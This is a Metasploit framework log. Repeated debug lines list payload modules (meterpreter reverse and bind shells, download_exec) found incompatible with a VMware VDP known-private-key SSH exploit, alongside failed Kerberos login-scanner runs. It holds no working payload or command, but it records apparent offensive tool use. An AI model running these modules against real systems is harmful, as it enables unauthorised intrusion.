_raw: [11/01/2025 13:48:23] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 13:48:00] [e(0)] core: Auxiliary failed - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Kerberos)


_raw: [11/01/2025 13:47:43] [e(0)] core: Auxiliary failed - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Kerberos)


_raw: [11/01/2025 13:47:40] [d(0)] core: Module generic/shell_reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module generic/shell_bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module generic/shell_bind_aws_ssm is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module generic/custom is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_https is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_http is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter_bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_ssl is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_https is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_http is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/shell_findsock is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter_reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6 is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/exec is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/php/download_exec is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:40] [d(0)] core: Module cmd/unix/bind_aws_instance_connect is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:32] [e(0)] core: Auxiliary failed - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Kerberos)


_raw: [11/01/2025 13:47:13] [d(0)] core: Module generic/shell_reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module generic/shell_bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module generic/shell_bind_aws_ssm is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module generic/custom is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_https is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_http is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter_bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_ssl is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_https is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_http is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/shell_findsock is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter_reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6 is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/exec is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/php/download_exec is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:47:13] [d(0)] core: Module cmd/unix/bind_aws_instance_connect is incompatible with linux/ssh/vmware_vdp_known_privkey for PayloadType: limiter was cmd_interact


_raw: [11/01/2025 13:46:59] [e(0)] core: Auxiliary failed - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Kerberos)


_raw: [11/01/2025 13:46:56] [e(0)] core: Check Failed - NotImplementedError This module does not support check.